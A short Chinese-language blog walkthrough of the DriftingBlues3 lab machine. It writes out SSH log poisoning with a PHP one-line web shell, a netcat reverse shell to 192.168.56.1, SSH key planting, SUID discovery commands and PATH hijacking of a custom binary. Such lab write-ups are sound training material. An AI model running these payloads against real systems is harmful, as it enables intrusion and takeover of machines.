vulhub-driftingblues3

发现 /robots.txt -> /eventadmins/ -> /littlequeenofspades.html -> /adminsfixit.php

界面包含ssh日志,通过尝试发现ssh连接后会更新日志,使用php一句话木马 ssh  -l '<?php system($_GET[\"cmd\"]);?>'  192.168.56.111
在kali下运行此命令出现错误:

~ >> ssh  -l '<?php system($_GET[\"cmd\"]);?>'  192.168.56.111
remote username contains invalid characters

使用windows下powershell运行后成功

反弹shell driftingblues.box/adminsfixit.php?cmd=nc 192.168.56.1 8000 -e /bin/bash

可见 .ssh 目录是其他用户可写的,生成ssh私钥用于登录 ssh-keygen -t rsa

提取套路:

  1. linpeas.sh 脚本信息收集
  2. pspy 监听进程
  3. find命令搜索权限为s的命令

通过命令搜索权限为 s 的命令:

find / -type f  -perm -04000 -o -perm -02000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

可见 /usr/bin/getinfo 是自定义脚本,自己定义命令 cat ip 等使getinfo脚本在调用过程中启动shell

posted @ 2024-05-29 10:18  某某人8265  阅读(22)  评论(0编辑  收藏  举报